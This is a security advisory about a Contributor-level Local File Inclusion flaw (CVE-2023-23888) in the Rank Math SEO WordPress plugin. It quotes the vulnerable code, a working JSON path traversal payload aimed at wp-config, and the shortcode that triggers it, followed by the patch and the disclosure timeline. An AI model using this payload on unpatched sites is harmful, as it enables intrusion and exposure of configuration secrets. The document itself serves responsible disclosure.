Vulnerability In Rank Math SEO Plugin

Published 14 February 2023
Table of Contents

There's a vulnerability in Rank Math SEO Plugin. If you're a Rank Math SEO user, please update the plugin to at least version 1.0.107.3.

✌️ Our users are protected from this vulnerability. Are yours?

Web developers

Automatically mitigate vulnerabilities in real-time without changing code.

See pricing
Plugin developers

Identify vulnerabilities in your plugins and get recommendations for fixes.

Request audit
Hosting companies

Protect your users, improve server health and earn additional revenue.

Patchstack for hosts

Introduction

The plugin Rank Math SEO (versions 1.0.107.2 and below), which has over 1,000,000 active installations is known as "The Swiss Army Knife" for WordPress SEO.

This is one of the most popular WordPress SEO Plugins which can be used to help every website owner get access to the SEO tools they need to improve their SEO and attract more traffic to their website.

Vulnerability In Rank Math SEO Plugin

This plugin suffers from authenticated Local File Inclusion (LFI) vulnerability.

This vulnerability allows any authenticated user with a minimum Contributor role to perform local file inclusion with a limited .php file extension on the WordPress server.

The described vulnerability was fixed in version 1.0.107.3 and assigned CVE-2023-23888

The security vulnerability in Rank Math SEO

Read more about the vulnerability from the Patchstack database.

The initial discovery of this vulnerability happened when we analyzed the shortcode features provided by the plugin. One of the shortcodes available is rank_math_rich_snippet that is handled by the rich_snippet function:

public function rich_snippet( $atts ) {

$atts = shortcode_atts(
    [
        'id'        => false,
        'post_id'   => Param::get( 'post_id' ) ? Param::get( 'post_id' ) : get_the_ID(),
        'className' => '',
    ],
    $atts,
    'rank_math_rich_snippet'
);

if ( 'edit' === Param::get( 'context' ) ) {
    rank_math()->variables->setup();
}

$data = $this->get_schema_data( $atts['id'], $atts['post_id'] );
if ( empty( $data ) || empty( $data['schema'] ) ) {
    return esc_html__( 'No schema found.', 'rank-math' );
}

$post    = get_post( $data['post_id'] );
$schemas = ! empty( $atts['id'] ) ? [ $data['schema'] ] : $data['schema'];

$html = '';

foreach ( $schemas as $schema ) {

    $schema = $this->replace_variables( $schema, $post );
    $schema = $this->do_filter( 'schema/shortcode/filter_attributes', $schema, $atts );

    /**
        * Change the Schema HTML output.
        *
        * @param string            $unsigned HTML output.
        * @param array             $schema   Schema data.
        * @param WP_Post           $post     The post instance.
        * @param Snippet_Shortcode $this     Snippet_Shortcode instance.
        */
    $html .= $this->do_filter( 'snippet/html', $this->get_snippet_content( $schema, $post, $atts ), $schema, $post, $this );
}

return $html;
}

The shortcode handler will call get_snippet_content function using a couple of parameters (including the $schema parameter which contains Rank Math schema data of each WP POST) :

	public function get_snippet_content( $schema, $post, $atts ) {
		wp_enqueue_style( 'rank-math-review-snippet', rank_math()->assets() . 'css/rank-math-snippet.css', null, rank_math()->version );

		$type         = \strtolower( $schema['@type'] );
		$this->post   = $post;
		$this->schema = $schema;

		if ( in_array( $type, [ 'article', 'blogposting', 'newsarticle' ], true ) ) {
			return;
		}

		if ( Str::ends_with( 'event', $type ) ) {
			$type = 'event';
		}

		if ( 'resturant' === $type ) {
			$type = 'restaurant';
		}

		$class = ! empty( $atts['className'] ) ? $atts['className'] : '';

		ob_start();
		?>

			<div id="rank-math-rich-snippet-wrapper" class="<?php echo esc_attr( $class ); ?>">

				<?php
				$file = rank_math()->plugin_dir() . "includes/modules/schema/shortcode/$type.php";
				if ( file_exists( $file ) ) {
					include $file;
				}

Notice that the $file variable will be built using the $type variable and will be included in the code. The $type variable is built from $schema['@type'] variable.

In this case, if we are able to control that variable, we could achieve path traversal resulting to limited arbitrary .php Local File Inclusion.

As a Contributor role user, we could set a Rank Math schema of each WP POST by making a POST request to /wp-json/rankmath/v1/updateSchemas with this JSON data:

{
  "objectID": "<POST X ID>",
  "objectType": "post",
  "schemas": {
    "new-9999": {
      "metadata": {
        "title": "Article",
        "type": "template",
        "shortcode": "s-63cfbb5cad2aa",
        "isPrimary": true
      },
      "articleSection": "%primary_taxonomy_terms%",
      "headline": "%seo_title%",
      "description": "xxx",
      "keywords": "%keywords%",
      "@type": "../../../../../../../../../../../../../../srv/www/wordpress/wp-config",
      "author": {
        "@type": "Person",
        "name": "%name%"
      },
      "datePublished": "%date(Y-m-d\\TH:i:sP)%",
      "dateModified": "%modified(Y-m-d\\TH:i:sP)%",
      "image": {
        "@type": "ImageObject",
        "url": "%post_thumbnail%"
      }
    }
  }
}

We inject the path traversal payload on the schemas["@type"] field. After setting up the schema, we just need to draft a new WP POST containing the shortcode string as a content :

[rank_math_rich_snippet post_id="<POST X ID>"]

Viewing the drafted WP POST will trigger the LFI. The ideal attack scenario would need other vulnerability to inject or upload PHP code to a .php file on the WordPress server. If the file could not be reached directly, we are able to utilize this LFI vulnerability.

The patch in Rank Math SEO

Since this issue is mainly because the code tries to include some part of the file path from user input, the developer decided to filter the data using regex and sanitize_file_name function. The patch can be found here:

vulnerability in Rank Math SEO

Disclosure timeline

26-01-2022 - We found the vulnerability in Rank Math SEO and compiled a vulnerability report.
29-01-2022 - We reached out to the plugin vendor.
30-01-2022 - Rank Math SEO plugin version 1.0.107.3 was published to patch the reported issues.
10-02-2023 - Added the vulnerabilities to the Patchstack vulnerability database.
14-02-2023 - Published the article.

🤝 You can help us make the Internet a safer place

Plugin developer?

Streamline your disclosure process to fix vulnerabilities faster and comply with CRA.

Get started for free
Hosting company?

Protect your users too! Improve server health and earn added revenue with proactive security.

Patchstack for hosts
Security researcher?

Report vulnerabilities to our gamified bug bounty program to earn monthly cash rewards.

Learn more

The latest in Security Advisories

Looks like your browser is blocking our support chat widget. Turn off adblockers and reload the page.
crossmenu